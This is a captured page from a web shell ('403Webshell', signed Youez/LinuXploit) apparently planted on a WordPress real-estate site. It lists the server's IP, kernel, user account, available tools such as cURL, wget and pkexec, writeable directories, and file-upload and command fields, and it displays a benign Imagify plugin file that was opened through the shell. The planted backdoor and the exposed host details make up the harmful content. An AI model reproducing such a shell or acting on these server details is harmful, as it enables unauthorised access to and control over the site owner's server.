403Webshell
Server IP : 170.10.161.225  /  Your IP : 216.73.216.78
Web Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : ON
Directory :  /home/www/calvetrealty.com/wp-content/plugins/imagify/inc/3rd-party/hosting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/www/calvetrealty.com/wp-content/plugins/imagify/inc/3rd-party/hosting/pressable.php
<?php
defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' );

if ( defined( 'IS_PRESSABLE' ) ) :

	add_filter( 'imagify_site_root', 'imagify_pressable_site_root', IMAGIFY_INT_MAX );
	/**
	 * Filter the path to the site's root.
	 *
	 * @since  1.9.4
	 * @author Grégory Viguier
	 *
	 * @param  string|null $root_path Path to the site's root. Default is null.
	 * @return string
	 */
	function imagify_pressable_site_root( $root_path ) {
		$upload_basedir = trim( wp_normalize_path( WP_CONTENT_DIR ), '/' );
		$upload_basedir = explode( '/', $upload_basedir );
		$upload_basedir = reset( $upload_basedir );

		return '/' . $upload_basedir . '/';
	}

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit